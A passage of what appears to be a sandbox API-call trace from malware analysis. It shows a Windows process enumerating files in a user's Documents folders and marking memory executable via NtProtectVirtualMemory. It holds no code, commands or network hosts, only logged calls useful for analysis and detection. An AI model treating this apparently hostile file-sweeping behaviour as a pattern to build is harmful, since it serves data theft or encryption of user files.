pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", len=0x4f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2") returned 1 [0166.036] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", len=0x4f | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2") returned 1 [0166.036] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", len=0x4f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2") returned 1 [0166.036] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Open Notebook.onetoc2", cchWideChar=21, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Open Notebook.onetoc2uments\\OneNote Notebooks\\My Notebook4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 21 [0166.037] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.037] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Open Notebook.onetoc2", cchWideChar=21, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Open Notebook.onetoc2uments\\OneNote Notebooks\\My Notebook4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 21 [0166.037] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Open Notebook.onetoc2", cchWideChar=21, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Open Notebook.onetoc2uments\\OneNote Notebooks\\My Notebook4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 21 [0166.037] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b22020, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x90b22020, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x91e53180, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x57ec0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Quick Notes.one", cAlternateFileName="QUICKN~1.ONE")) returned 1 [0166.037] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", len=0x49 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one") returned 1 [0166.037] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", len=0x49 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one") returned 1 [0166.037] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", len=0x49 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one") returned 1 [0166.038] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", len=0x49 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one") returned 1 [0166.038] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", len=0x49 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one") returned 1 [0166.038] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", len=0x49 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one") returned 1 [0166.038] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", len=0x49 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one") returned 1 [0166.038] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b22020, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x90b22020, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x91e53180, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x57ec0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Quick Notes.one", cAlternateFileName="QUICKN~1.ONE")) returned 0 [0166.038] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0166.038] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0166.038] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0166.038] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0166.039] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0166.039] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0166.039] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0166.039] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0166.039] VirtualFree (lpAddress=0x1fd3c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0166.039] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\*", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\*", len=0x27 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\*") returned 1 [0166.040] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\*", len=0x27 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\*") returned 1 [0166.040] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\*", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\*", len=0x27 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\*") returned 1 [0166.040] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\*", len=0x27 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\*") returned 1 [0166.040] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\*", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\*", len=0x27 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\*") returned 1 [0166.041] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\*", len=0x27 | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\*") returned 1 [0166.041] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\*", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\*", len=0x27 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\*") returned 1 [0166.041] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\*", lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xb1513f70, ftCreationTime.dwHighDateTime=0x1d30618, ftLastAccessTime.dwLowDateTime=0xb1586390, ftLastAccessTime.dwHighDateTime=0x1d30618, ftLastWriteTime.dwLowDateTime=0xb1586390, ftLastWriteTime.dwHighDateTime=0x1d30618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0166.041] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\.", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\.") returned 1 [0166.042] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\.", len=0x27 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\.") returned 1 [0166.042] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\.", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\.", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\.") returned 1 [0166.042] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\.", len=0x27 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\.") returned 1 [0166.042] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\.", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\.", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\.") returned 1 [0166.042] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\.", len=0x27 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\.") returned 1 [0166.042] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\.", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\.", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\.") returned 1 [0166.042] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xb1513f70, ftCreationTime.dwHighDateTime=0x1d30618, ftLastAccessTime.dwLowDateTime=0xb1586390, ftLastAccessTime.dwHighDateTime=0x1d30618, ftLastWriteTime.dwLowDateTime=0xb1586390, ftLastWriteTime.dwHighDateTime=0x1d30618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.043] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\.", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\..", len=0x28 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\..") returned 1 [0166.043] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\..", len=0x28 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\..") returned 1 [0166.043] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\..", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\..", len=0x28 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\..") returned 1 [0166.043] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\..", len=0x28 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\..") returned 1 [0166.043] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\..", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\..", len=0x28 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\..") returned 1 [0166.043] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\..", len=0x28 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\..") returned 1 [0166.043] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\..", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\..", len=0x28 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\..") returned 1 [0166.044] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xb1586390, ftCreationTime.dwHighDateTime=0x1d30618, ftLastAccessTime.dwLowDateTime=0xb1586390, ftLastAccessTime.dwHighDateTime=0x1d30618, ftLastWriteTime.dwLowDateTime=0xb1586390, ftLastWriteTime.dwHighDateTime=0x1d30618, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0166.044] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\..", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\desktop.ini", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\desktop.ini") returned 1 [0166.044] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\desktop.ini", len=0x31 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\desktop.ini") returned 1 [0166.044] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\desktop.ini", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\desktop.ini", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\desktop.ini") returned 1 [0166.044] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\desktop.ini", len=0x31 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\desktop.ini") returned 1 [0166.044] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\desktop.ini", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\desktop.ini", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\desktop.ini") returned 1 [0166.044] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\desktop.ini", len=0x31 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\desktop.ini") returned 1 [0166.044] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\desktop.ini", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\desktop.ini", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\desktop.ini") returned 1 [0166.045] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.iniok.onetoc2uments\\OneNote Notebooks\\My Notebook4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 11 [0166.045] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.iniok.onetoc2uments\\OneNote Notebooks\\My Notebook4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 11 [0166.045] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.iniok.onetoc2uments\\OneNote Notebooks\\My Notebook4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 11 [0166.045] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1513f70, ftCreationTime.dwHighDateTime=0x1d30618, ftLastAccessTime.dwLowDateTime=0xb1513f70, ftLastAccessTime.dwHighDateTime=0x1d30618, ftLastWriteTime.dwLowDateTime=0xb1513f70, ftLastWriteTime.dwHighDateTime=0x1d30618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites.vssx", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0166.045] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\desktop.ini", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\Favorites.vssx", len=0x34 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\Favorites.vssx") returned 1 [0166.045] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\Favorites.vssx", len=0x34 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\Favorites.vssx") returned 1 [0166.045] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\Favorites.vssx", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\Favorites.vssx", len=0x34 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\Favorites.vssx") returned 1 [0166.045] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\Favorites.vssx", len=0x34 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\Favorites.vssx") returned 1 [0166.046] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\Favorites.vssx", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\Favorites.vssx", len=0x34 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\Favorites.vssx") returned 1 [0166.046] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\Favorites.vssx", len=0x34 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\Favorites.vssx") returned 1 [0166.046] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\Favorites.vssx", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\Favorites.vssx", len=0x34 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\Favorites.vssx") returned 1 [0166.046] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Favorites.vssx", cchWideChar=14, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Favorites.vssxonetoc2uments\\OneNote Notebooks\\My Notebook4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 14 [0166.046] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Favorites.vssx", cchWideChar=14, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Favorites.vssxonetoc2uments\\OneNote Notebooks\\My Notebook4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 14 [0166.046] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Favorites.vssx", cchWideChar=14, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Favorites.vssxonetoc2uments\\OneNote Notebooks\\My Notebook4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 14 [0166.046] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xb1586390, ftCreationTime.dwHighDateTime=0x1d30618, ftLastAccessTime.dwLowDateTime=0xb1586390, ftLastAccessTime.dwHighDateTime=0x1d30618, ftLastWriteTime.dwLowDateTime=0xb1586390, ftLastWriteTime.dwHighDateTime=0x1d30618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0166.046] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\Favorites.vssx", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.047] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.047] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.047] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.047] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.047] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.047] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.047] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.048] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.048] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.048] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.048] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.048] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.048] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private", len=0x2e | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private") returned 1 [0166.048] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private" (normalized: "c:\\users\\aetadzjz\\documents\\my shapes\\_private")) returned 0x12 [0166.053] NtProtectVirtualMemory 